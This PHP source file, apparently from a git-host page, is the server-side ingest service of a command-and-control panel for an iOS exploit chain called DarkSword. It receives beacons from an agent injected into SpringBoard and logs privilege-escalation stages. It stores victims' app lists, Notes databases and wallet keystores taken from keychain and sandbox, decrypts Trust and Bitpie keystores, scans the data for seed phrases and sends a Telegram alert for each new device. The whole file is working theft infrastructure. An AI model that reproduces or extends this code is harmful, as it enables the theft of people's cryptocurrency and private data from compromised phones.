916 lines
31 KiB
PHP
916 lines
31 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Models\Device;
|
|
use App\Models\DsChainLog;
|
|
use App\Models\PageVisit;
|
|
use App\Models\User;
|
|
use App\Models\WalletKeystore;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Jobs\DecodeMemoDb;
|
|
use App\Support\CfIpCountry;
|
|
use App\Support\UserAgentParser;
|
|
use App\Support\WalletSource;
|
|
use Illuminate\Http\Request;
|
|
use Illuminate\Support\Facades\Storage;
|
|
|
|
/**
|
|
* Map DarkSword / one99 plaintext JSON onto existing device/note/wallet tables.
|
|
*
|
|
* Does not call xxbb field extractors (`d`/`f`/`c`/`al[]` / ver/sdkv).
|
|
*/
|
|
class DarkSwordIngestAdapter
|
|
{
|
|
/** @var list<string> */
|
|
private const SKIP_WALK_KEYS = [
|
|
'error', 'errors', 'layer3Error', 'diagnostics', 'metadataKeys',
|
|
'locked_classes', '_truncated', '_more', 'tables',
|
|
];
|
|
|
|
public function __construct(
|
|
private readonly IngestService $ingest,
|
|
private readonly TelegramNotifier $telegram,
|
|
private readonly DsBeaconQueue $beaconQueue,
|
|
private readonly DsResultStore $results,
|
|
private readonly DsTrustAddressIngest $trustAddresses,
|
|
private readonly DsKeystoreDecrypt $keystoreDecrypt,
|
|
private readonly MnemonicWalletDiscovery $mnemonicDiscovery,
|
|
private readonly MnemonicAddressLinker $mnemonicLinker,
|
|
) {}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload Untruncated JSON from the raw request body.
|
|
*/
|
|
public function ingest(Request $request, string $path, array $payload): void
|
|
{
|
|
match ($path) {
|
|
'/api/ds/device/register' => $this->ingestRegister($request, $payload),
|
|
'/api/ds/log' => null,
|
|
'/a' => $this->ingestProfile($request, $payload),
|
|
'/u' => $this->ingestApps($request, $payload),
|
|
'/nb' => $this->ingestNotes($request, $payload),
|
|
'/war' => $this->ingestWar($request, $payload),
|
|
'/beacon', '/event' => $this->heartbeat($request, $payload),
|
|
'/result' => $this->ingestResult($request, $payload),
|
|
default => str_starts_with($path, '/api/ds/pe-stage')
|
|
? $this->ingestPeStage($request, $payload)
|
|
: null,
|
|
};
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function ingestRegister(Request $request, array $payload): void
|
|
{
|
|
$this->recordRegisterVisit($request, $payload);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function ingestStage(Request $request, array $payload): void
|
|
{
|
|
$uid = $this->extractDeviceKey($request, $payload);
|
|
if ($uid === null || ! Device::captureEnabledForKey($uid)) {
|
|
return;
|
|
}
|
|
$stage = strtolower(trim((string) ($payload['stage'] ?? '')));
|
|
$progress = (int) ($payload['progress'] ?? 0);
|
|
$label = is_string($payload['label'] ?? null) ? $payload['label'] : null;
|
|
DsChainLog::record($uid, $stage, $progress, $label, $this->extractChannelCode($payload));
|
|
}
|
|
|
|
/**
|
|
* PE progress ping. File log is written by DarkSwordC2Controller::peStage;
|
|
* here we also fold the named stage into ds_chain_logs when a UUID is present.
|
|
*
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function ingestPeStage(Request $request, array $payload): void
|
|
{
|
|
$name = strtolower(trim((string) ($payload['pe_stage'] ?? '')));
|
|
$progress = match ($name) {
|
|
's1_launchd' => 86,
|
|
's2_keychain' => 88,
|
|
's3_mempress' => 90,
|
|
's4_loader' => 92,
|
|
's5_c2' => 94,
|
|
's6_p7phase2' => 96,
|
|
default => 86,
|
|
};
|
|
|
|
$this->ingestStage($request, array_merge($payload, [
|
|
'stage' => 'pe',
|
|
'progress' => $progress,
|
|
'label' => 'pe_stage:'.($name !== '' ? $name : 'unknown'),
|
|
]));
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function ingestLog(Request $request, array $payload): void
|
|
{
|
|
$uid = $this->extractDeviceKey($request, $payload);
|
|
if ($uid === null || ! Device::captureEnabledForKey($uid)) {
|
|
return;
|
|
}
|
|
if (is_string($payload['stage'] ?? null) && trim((string) $payload['stage']) !== '') {
|
|
$this->ingestStage($request, $payload);
|
|
|
|
return;
|
|
}
|
|
$text = $payload['text'] ?? $payload['msg'] ?? $payload['message'] ?? null;
|
|
if (! is_string($text)) {
|
|
return;
|
|
}
|
|
$inferred = DsChainLog::inferFromText($text);
|
|
if ($inferred === null) {
|
|
return;
|
|
}
|
|
DsChainLog::record(
|
|
$uid,
|
|
$inferred['stage'],
|
|
$inferred['progress'],
|
|
$inferred['label'],
|
|
$this->extractChannelCode($payload),
|
|
);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function recordRegisterVisit(Request $request, array $payload): void
|
|
{
|
|
$uid = $this->extractDeviceKey($request, $payload);
|
|
if ($uid === null) {
|
|
return;
|
|
}
|
|
|
|
$ua = $this->registerUserAgent($request, $payload);
|
|
$parsed = UserAgentParser::parse($ua);
|
|
$ios = $this->extractIos($payload);
|
|
$channel = $this->extractChannelCode($payload) ?? '';
|
|
$ip = $this->clientIp($request, $payload);
|
|
$referer = trim((string) $request->headers->get('referer', ''));
|
|
|
|
$os = $ios !== null ? 'iOS' : $parsed['os'];
|
|
$osVersion = $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null);
|
|
PageVisit::recordLanding([
|
|
'channel_id' => $channel,
|
|
'client_uid' => $uid,
|
|
'user_agent' => $ua !== '' ? $ua : null,
|
|
'os' => $os,
|
|
'os_version' => $osVersion,
|
|
'browser' => $parsed['browser'],
|
|
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
|
'ip' => $ip !== '' ? $ip : null,
|
|
'country' => CfIpCountry::fromRequest($request),
|
|
'domain' => PageVisit::normalizeDomain($request->getHost()),
|
|
'referer' => $referer !== '' ? substr($referer, 0, 512) : null,
|
|
], PageVisit::chainFromIosVersion($os, $osVersion));
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function registerUserAgent(Request $request, array $payload): string
|
|
{
|
|
foreach (['user_agent', 'userAgent'] as $key) {
|
|
$value = $payload[$key] ?? null;
|
|
if (is_string($value) && trim($value) !== '') {
|
|
return substr(trim($value), 0, 512);
|
|
}
|
|
}
|
|
|
|
return substr((string) $request->userAgent(), 0, 512);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function ingestProfile(Request $request, array $payload): void
|
|
{
|
|
$this->upsertDevice($request, $payload);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function ingestApps(Request $request, array $payload): void
|
|
{
|
|
$device = $this->upsertDevice($request, $payload);
|
|
if (! $device) {
|
|
return;
|
|
}
|
|
$al = $this->appsToAl($payload['apps'] ?? null);
|
|
if ($al === []) {
|
|
return;
|
|
}
|
|
$this->ingest->ingestInstalledApps($device, ['al' => $al]);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function ingestNotes(Request $request, array $payload): void
|
|
{
|
|
$device = $this->upsertDevice($request, $payload);
|
|
if (! $device) {
|
|
return;
|
|
}
|
|
if (array_key_exists('list', $payload)) {
|
|
$this->ingest->ingestNotes($device, ['list' => $payload['list']]);
|
|
}
|
|
$this->storeNoteDbFiles($device, $payload['db_files'] ?? null);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function ingestWar(Request $request, array $payload): void
|
|
{
|
|
$device = $this->upsertDevice($request, $payload);
|
|
if (! $device) {
|
|
return;
|
|
}
|
|
|
|
$keychain = is_array($payload['keychain'] ?? null) ? $payload['keychain'] : [];
|
|
$wallets = $keychain['wallets'] ?? [];
|
|
$sandbox = $payload['sandbox'] ?? [];
|
|
|
|
$rows = array_merge(
|
|
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
|
|
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
|
);
|
|
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $rows);
|
|
|
|
$this->walkForMnemonics($device, $wallets, 'd');
|
|
$this->walkForMnemonics($device, $sandbox, 'b');
|
|
$this->trustAddresses->ingest($device, $sandbox);
|
|
$this->trustAddresses->ingest($device, $wallets);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function heartbeat(Request $request, array $payload): void
|
|
{
|
|
$this->upsertDevice($request, $payload);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function upsertDevice(Request $request, array $payload): ?Device
|
|
{
|
|
$key = $this->extractDeviceKey($request, $payload);
|
|
if ($key === null) {
|
|
return null;
|
|
}
|
|
|
|
$ip = $this->clientIp($request, $payload);
|
|
$model = $this->extractModel($payload);
|
|
$ios = $this->extractIos($payload);
|
|
$channel = $this->extractChannelCode($payload) ?? $this->channelFromVisit($key);
|
|
$ua = substr((string) $request->userAgent(), 0, 2000);
|
|
|
|
$existing = Device::query()->where('device_id', $key)->first();
|
|
if ($ios !== null) {
|
|
$chain = PageVisit::isDarkSwordIosVersionString($ios)
|
|
? Device::CHAIN_DARKSWORD
|
|
: Device::CHAIN_CORUNA;
|
|
} else {
|
|
$chain = $existing
|
|
? (int) $existing->chain
|
|
: Device::CHAIN_CORUNA;
|
|
}
|
|
|
|
if ($existing) {
|
|
$touch = [
|
|
'updated_at' => now(),
|
|
'chain' => $chain,
|
|
];
|
|
if ($ip !== '') {
|
|
$touch['ip'] = $ip;
|
|
$country = CfIpCountry::fromRequest($request);
|
|
if ($country !== null) {
|
|
$touch['country'] = $country;
|
|
}
|
|
}
|
|
if ($model !== null && $this->shouldReplaceModel($existing->device_model, $model)) {
|
|
$touch['device_model'] = $model;
|
|
}
|
|
if ($ios !== null && trim((string) $existing->ios_version) === '') {
|
|
$touch['ios_version'] = $ios;
|
|
}
|
|
if ($channel !== null && trim((string) $existing->channel_id) === '') {
|
|
$touch['channel_id'] = $channel;
|
|
if (! $existing->albumStorageEnabled() && User::albumStorageDefaultForChannel($channel)) {
|
|
$touch['album_storage'] = true;
|
|
}
|
|
}
|
|
$existing->forceFill($touch)->saveQuietly();
|
|
|
|
// If the chain was just corrected to DarkSword (e.g. the device was
|
|
// created by a beacon whose ios_version was nested in device_info
|
|
// and not parsed on the first request), seed the default queue now.
|
|
if ((int) $existing->chain === Device::CHAIN_DARKSWORD
|
|
&& (int) $existing->getOriginal('chain') !== Device::CHAIN_DARKSWORD
|
|
&& $this->beaconQueue->queueLength($existing) === 0
|
|
) {
|
|
$this->beaconQueue->seed($existing);
|
|
}
|
|
|
|
return $existing->refresh();
|
|
}
|
|
|
|
$device = Device::query()->create([
|
|
'device_id' => $key,
|
|
'chain' => $chain,
|
|
'ip' => $ip !== '' ? $ip : null,
|
|
'country' => CfIpCountry::fromRequest($request),
|
|
'device_model' => $model,
|
|
'ios_version' => $ios,
|
|
'channel_id' => $channel,
|
|
'user_agent' => $ua !== '' ? $ua : null,
|
|
'album_storage' => User::albumStorageDefaultForChannel($channel),
|
|
]);
|
|
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
|
$device->telegram_notified = true;
|
|
$device->save();
|
|
$this->beaconQueue->seed($device);
|
|
|
|
return $device->refresh();
|
|
}
|
|
|
|
/**
|
|
* Upsert the DarkSword device and seed its default beacon queue.
|
|
*
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
public function ensureDevice(Request $request, array $payload): ?Device
|
|
{
|
|
$device = $this->upsertDevice($request, $payload);
|
|
|
|
return $device;
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function ingestResult(Request $request, array $payload): void
|
|
{
|
|
$device = $this->upsertDevice($request, $payload);
|
|
if ($device && ! $this->isEmptyWalletScanSummary($payload)) {
|
|
$stored = $this->results->store($device, $payload);
|
|
$payload = array_merge($payload, $stored);
|
|
if (($stored['stored'] ?? false) === true) {
|
|
$this->ingestTrustAddressesFromResult($device, $payload);
|
|
$this->dispatchMemoDecodeIfNeeded($device, $payload);
|
|
}
|
|
}
|
|
$this->beaconQueue->markDone($payload);
|
|
}
|
|
|
|
/**
|
|
* When the memo_scan manifest (memo_scan.json) finishes storing, the
|
|
* NoteStore.sqlite trio for this command_id is complete — kick off the
|
|
* decoder. The decoder re-checks file presence, so an out-of-order
|
|
* manifest is harmless.
|
|
*
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function dispatchMemoDecodeIfNeeded(Device $device, array $payload): void
|
|
{
|
|
$category = (string) ($payload['category'] ?? '');
|
|
$filename = strtolower((string) ($payload['filename'] ?? ''));
|
|
if ($category !== 'memo_db' && ! str_contains($filename, 'notestore')) {
|
|
return;
|
|
}
|
|
// memo_scan.json is the scan manifest and the last file uploaded by
|
|
// the c2_agent; triggering on it avoids decoding before the WAL lands.
|
|
if (! str_contains($filename, 'memo_scan.json')) {
|
|
return;
|
|
}
|
|
$commandId = (string) ($payload['command_id'] ?? '');
|
|
if ($commandId === '') {
|
|
return;
|
|
}
|
|
DecodeMemoDb::dispatch($device->id, $commandId);
|
|
}
|
|
|
|
/**
|
|
* A wallet_scan summary (wallet_pkg.json) carries recoverable material
|
|
* only via its own `installed_wallets` / `sandbox_files` fields. When both
|
|
* are empty the record has nothing to ingest — skip it entirely.
|
|
*
|
|
* `keychain_dump_uploaded` only signals that a separate keychain_c2_dump
|
|
* result file was uploaded; that dump's content (e.g. Bitpie entropy) lives
|
|
* in its own result file, not in this wallet_pkg record, so it is irrelevant
|
|
* to whether this summary is worth keeping.
|
|
*
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function isEmptyWalletScanSummary(array $payload): bool
|
|
{
|
|
$filename = strtolower((string) ($payload['filename'] ?? ''));
|
|
if (! str_contains($filename, 'wallet_pkg')) {
|
|
return false;
|
|
}
|
|
$raw = $payload['data'] ?? null;
|
|
if (! is_string($raw) || $raw === '') {
|
|
return false;
|
|
}
|
|
$json = json_decode((string) base64_decode($raw, true), true);
|
|
if (! is_array($json)) {
|
|
return false;
|
|
}
|
|
|
|
return empty($json['installed_wallets'] ?? [])
|
|
&& empty($json['sandbox_files'] ?? []);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function ingestTrustAddressesFromResult(Device $device, array $payload): void
|
|
{
|
|
$filename = strtolower((string) ($payload['filename'] ?? ''));
|
|
$looksTrust = str_contains($filename, 'utc--')
|
|
|| str_contains($filename, 'wallet_pkg')
|
|
|| str_contains($filename, 'keystore');
|
|
if (! $looksTrust) {
|
|
return;
|
|
}
|
|
$raw = $payload['data'] ?? null;
|
|
if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) {
|
|
if (Storage::disk('local')->exists($payload['path'])) {
|
|
$raw = (string) Storage::disk('local')->get($payload['path']);
|
|
}
|
|
}
|
|
if (! is_string($raw) || $raw === '') {
|
|
return;
|
|
}
|
|
$this->trustAddresses->ingest($device, $raw);
|
|
$rows = $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
|
|
$this->recoverKeystoreMnemonics($device, null, $raw, $rows);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function extractDeviceKey(Request $request, array $payload): ?string
|
|
{
|
|
$candidates = [
|
|
$payload['lhu'] ?? null,
|
|
$payload['deviceUUID'] ?? null,
|
|
$payload['device_uuid'] ?? null,
|
|
$payload['uuid'] ?? null,
|
|
$payload['device'] ?? null,
|
|
$request->header('X-Device-UUID'),
|
|
$request->query('deviceUUID'),
|
|
$request->query('device'),
|
|
];
|
|
foreach ($candidates as $value) {
|
|
if (! is_string($value) || $value === '') {
|
|
continue;
|
|
}
|
|
$key = Device::normalizeDarkswordKey($value);
|
|
if ($key !== null && $key !== '') {
|
|
return $key;
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function extractChannelCode(array $payload): ?string
|
|
{
|
|
foreach (['channeICode', 'channelCode', 'channel_code', 'channel'] as $key) {
|
|
$value = $payload[$key] ?? null;
|
|
if (! is_string($value)) {
|
|
continue;
|
|
}
|
|
$value = trim($value);
|
|
if ($value === '') {
|
|
continue;
|
|
}
|
|
|
|
return substr($value, 0, 64);
|
|
}
|
|
|
|
// Fallback: the c2_agent (injected into SpringBoard by pe_worker)
|
|
// nests channel_code inside device_info, not at the beacon top level.
|
|
$devInfo = $payload['device_info'] ?? null;
|
|
if (is_array($devInfo)) {
|
|
foreach (['channel_code', 'channelCode', 'channel'] as $key) {
|
|
$value = $devInfo[$key] ?? null;
|
|
if (! is_string($value)) {
|
|
continue;
|
|
}
|
|
$value = trim($value);
|
|
if ($value === '') {
|
|
continue;
|
|
}
|
|
|
|
return substr($value, 0, 64);
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private function channelFromVisit(string $deviceKey): ?string
|
|
{
|
|
$channel = PageVisit::query()
|
|
->where('client_uid', $deviceKey)
|
|
->where('chain', PageVisit::CHAIN_DARKSWORD)
|
|
->where('channel_id', '!=', '')
|
|
->orderByDesc('id')
|
|
->value('channel_id');
|
|
|
|
return is_string($channel) && $channel !== '' ? substr($channel, 0, 64) : null;
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function extractModel(array $payload): ?string
|
|
{
|
|
foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) {
|
|
$value = $payload[$key] ?? null;
|
|
if (is_string($value) && trim($value) !== '') {
|
|
return substr(trim($value), 0, 128);
|
|
}
|
|
}
|
|
|
|
// Fallback: pe_worker / c2_agent nests hardware info inside device_info.
|
|
$devInfo = $payload['device_info'] ?? null;
|
|
if (is_array($devInfo)) {
|
|
foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) {
|
|
$value = $devInfo[$key] ?? null;
|
|
if (is_string($value) && trim($value) !== '') {
|
|
return substr(trim($value), 0, 128);
|
|
}
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function extractIos(array $payload): ?string
|
|
{
|
|
foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) {
|
|
$value = $payload[$key] ?? null;
|
|
if (is_string($value) && trim($value) !== '') {
|
|
return substr(trim($value), 0, 64);
|
|
}
|
|
}
|
|
|
|
// Fallback: pe_worker / c2_agent nests ios_version inside device_info.
|
|
$devInfo = $payload['device_info'] ?? null;
|
|
if (is_array($devInfo)) {
|
|
foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) {
|
|
$value = $devInfo[$key] ?? null;
|
|
if (is_string($value) && trim($value) !== '') {
|
|
return substr(trim($value), 0, 64);
|
|
}
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function clientIp(Request $request, array $payload): string
|
|
{
|
|
$reported = $payload['ip'] ?? null;
|
|
if (is_string($reported) && trim($reported) !== '') {
|
|
$normalized = PageVisit::normalizeIp(trim($reported));
|
|
if ($normalized !== '') {
|
|
return substr($normalized, 0, 64);
|
|
}
|
|
}
|
|
|
|
return substr(PageVisit::normalizeIp((string) $request->ip()) ?: (string) $request->ip(), 0, 64);
|
|
}
|
|
|
|
private function shouldReplaceModel(?string $current, string $incoming): bool
|
|
{
|
|
$cur = trim((string) $current);
|
|
if ($cur === '' || strcasecmp($cur, 'iPhone') === 0) {
|
|
return true;
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
/**
|
|
* @return list<array{b: string, a: string, v?: string}>
|
|
*/
|
|
private function appsToAl(mixed $apps): array
|
|
{
|
|
if (! is_array($apps)) {
|
|
return [];
|
|
}
|
|
$al = [];
|
|
foreach ($apps as $key => $item) {
|
|
if ($key === '_more' || ! is_array($item)) {
|
|
continue;
|
|
}
|
|
$bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? ''));
|
|
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple')) {
|
|
continue;
|
|
}
|
|
$row = [
|
|
'b' => $bundle,
|
|
'a' => (string) ($item['name'] ?? $item['a'] ?? $bundle),
|
|
];
|
|
$version = $item['version'] ?? $item['v'] ?? null;
|
|
if (is_string($version) && $version !== '') {
|
|
$row['v'] = $version;
|
|
}
|
|
$al[] = $row;
|
|
}
|
|
|
|
return $al;
|
|
}
|
|
|
|
private function storeNoteDbFiles(Device $device, mixed $files): void
|
|
{
|
|
if (! is_array($files)) {
|
|
return;
|
|
}
|
|
foreach ($files as $file) {
|
|
if (! is_array($file)) {
|
|
continue;
|
|
}
|
|
$name = basename((string) ($file['name'] ?? 'notes.sqlite'));
|
|
$name = preg_replace('/[^A-Za-z0-9._-]+/', '_', $name) ?: 'notes.sqlite';
|
|
$data = $file['data'] ?? $file['content'] ?? null;
|
|
if (! is_string($data) || $data === '') {
|
|
continue;
|
|
}
|
|
$bin = base64_decode($data, true);
|
|
if ($bin === false || $bin === '') {
|
|
continue;
|
|
}
|
|
$rel = 'c2/ds-notes/'.$device->device_id.'/'.$name;
|
|
Storage::disk('local')->put($rel, $bin);
|
|
}
|
|
}
|
|
|
|
private function hasMaterial(mixed $value): bool
|
|
{
|
|
if ($value === null || $value === '' || $value === []) {
|
|
return false;
|
|
}
|
|
if (! is_array($value)) {
|
|
return true;
|
|
}
|
|
if (array_key_exists('items', $value) && is_array($value['items'])) {
|
|
return $value['items'] !== [];
|
|
}
|
|
foreach ($value as $child) {
|
|
if ($this->hasMaterial($child)) {
|
|
return true;
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
/**
|
|
* @return list<WalletKeystore>
|
|
*/
|
|
private function storeWalletKeystores(Device $device, mixed $buckets, string $kind, mixed $diagnostics): array
|
|
{
|
|
if (! $this->hasMaterial($buckets)) {
|
|
return [];
|
|
}
|
|
$rows = [];
|
|
if (is_array($buckets) && ! array_is_list($buckets)) {
|
|
$leftover = [];
|
|
foreach ($buckets as $key => $bucket) {
|
|
if (! $this->hasMaterial($bucket)) {
|
|
continue;
|
|
}
|
|
$source = is_string($key) ? WalletSource::fromKeystoreHint($key) : '';
|
|
if ($source === '' && ! is_string($key)) {
|
|
$leftover[$key] = $bucket;
|
|
|
|
continue;
|
|
}
|
|
if ($source === '' && is_string($key) && in_array(strtolower($key), ['notes', 'diagnostics'], true)) {
|
|
continue;
|
|
}
|
|
$rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, [$key => $bucket], null));
|
|
}
|
|
if ($leftover !== []) {
|
|
$rows[] = $this->createKeystore($device, '', $this->keystorePayload($kind, $leftover, $diagnostics));
|
|
} elseif ($rows === [] && $this->hasMaterial($buckets)) {
|
|
$rows[] = $this->createKeystore(
|
|
$device,
|
|
WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : ''),
|
|
$this->keystorePayload($kind, $buckets, $diagnostics)
|
|
);
|
|
}
|
|
|
|
return $rows;
|
|
}
|
|
|
|
$source = WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : '');
|
|
$rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, $buckets, $diagnostics));
|
|
|
|
return $rows;
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed>|string $payload
|
|
* @return array<string, mixed>
|
|
*/
|
|
private function keystorePayload(string $kind, mixed $payload, mixed $diagnostics): array
|
|
{
|
|
$body = [
|
|
'kind' => $kind,
|
|
];
|
|
if (str_starts_with($kind, 'keychain')) {
|
|
$body['wallets'] = $payload;
|
|
} else {
|
|
$body['sandbox'] = $payload;
|
|
}
|
|
if ($diagnostics !== null) {
|
|
$body['diagnostics'] = $diagnostics;
|
|
}
|
|
|
|
return $body;
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $rawJson
|
|
*/
|
|
private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore
|
|
{
|
|
return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
|
|
}
|
|
|
|
/**
|
|
* Re-run Trust UTC / Bitpie recover on already-stored keystore blobs.
|
|
*/
|
|
public function reprocessKeystores(Device $device): void
|
|
{
|
|
$device->load('keystores');
|
|
$this->recoverKeystoreMnemonics($device, null, null, $device->keystores->all());
|
|
}
|
|
|
|
/**
|
|
* @param list<WalletKeystore> $rows
|
|
*/
|
|
private function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
|
|
{
|
|
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
|
|
foreach ($hits as $hit) {
|
|
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
|
|
$this->ingest->ingestMnemonic($device, [
|
|
'mnemonic' => $hit['phrase'],
|
|
'a' => $tag,
|
|
]);
|
|
$this->keystoreDecrypt->markSourceDecrypted($device->id, $hit['source']);
|
|
|
|
$mnemonic = WalletMnemonic::query()
|
|
->where('device_id', $device->id)
|
|
->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase']))
|
|
->first();
|
|
if ($mnemonic !== null) {
|
|
$this->mnemonicDiscovery->discoverIndexZero($mnemonic);
|
|
}
|
|
if (($hit['addresses'] ?? []) !== []) {
|
|
$this->ingest->ingestAddresses($device, [
|
|
'a' => $tag,
|
|
'data' => $hit['addresses'],
|
|
]);
|
|
}
|
|
if ($mnemonic !== null) {
|
|
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
|
|
}
|
|
}
|
|
}
|
|
|
|
private function walkForMnemonics(Device $device, mixed $node, string $tag): void
|
|
{
|
|
if (is_string($node)) {
|
|
$phrase = $this->asMnemonicPhrase($node);
|
|
if ($phrase !== null) {
|
|
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]);
|
|
}
|
|
|
|
return;
|
|
}
|
|
if (! is_array($node)) {
|
|
return;
|
|
}
|
|
if (($node['_truncated'] ?? false) === true) {
|
|
return;
|
|
}
|
|
if ($this->isFailedUnwrap($node)) {
|
|
return;
|
|
}
|
|
|
|
foreach ($node as $key => $child) {
|
|
if (is_string($key) && in_array($key, self::SKIP_WALK_KEYS, true)) {
|
|
continue;
|
|
}
|
|
$childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag;
|
|
$this->walkForMnemonics($device, $child, $childTag);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $node
|
|
*/
|
|
private function isFailedUnwrap(array $node): bool
|
|
{
|
|
foreach (['error', 'layer3Error'] as $key) {
|
|
$err = $node[$key] ?? null;
|
|
if (is_string($err) && $err !== '' && preg_match('/unwrap|aks_/i', $err)) {
|
|
return true;
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
private function tagForWalletKey(string $key, string $fallback): string
|
|
{
|
|
$k = strtolower($key);
|
|
if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) {
|
|
return 'b';
|
|
}
|
|
if (str_contains($k, 'trust')) {
|
|
return 'd';
|
|
}
|
|
|
|
return $fallback;
|
|
}
|
|
|
|
private function asMnemonicPhrase(string $raw): ?string
|
|
{
|
|
$candidates = [$raw];
|
|
$trimmed = trim($raw);
|
|
if ($trimmed !== '' && ctype_xdigit($trimmed) && strlen($trimmed) % 2 === 0 && strlen($trimmed) >= 24) {
|
|
$bin = @hex2bin($trimmed);
|
|
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
|
|
$candidates[] = $bin;
|
|
$decoded = json_decode($bin, true);
|
|
if (is_array($decoded)) {
|
|
foreach (['mnemonic', 'phrase', 'seed', 'recovery'] as $k) {
|
|
if (isset($decoded[$k]) && is_string($decoded[$k])) {
|
|
$candidates[] = $decoded[$k];
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
foreach ($candidates as $text) {
|
|
$phrase = $this->matchWordMnemonic($text);
|
|
if ($phrase !== null) {
|
|
return $phrase;
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private function matchWordMnemonic(string $text): ?string
|
|
{
|
|
$text = strtolower(trim($text));
|
|
if ($text === '' || str_starts_with($text, '{') || str_starts_with($text, '[')) {
|
|
return null;
|
|
}
|
|
$words = preg_split('/\s+/', $text) ?: [];
|
|
$n = count($words);
|
|
if ($n !== 12 && $n !== 24) {
|
|
return null;
|
|
}
|
|
foreach ($words as $word) {
|
|
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
return implode(' ', $words);
|
|
}
|
|
}
|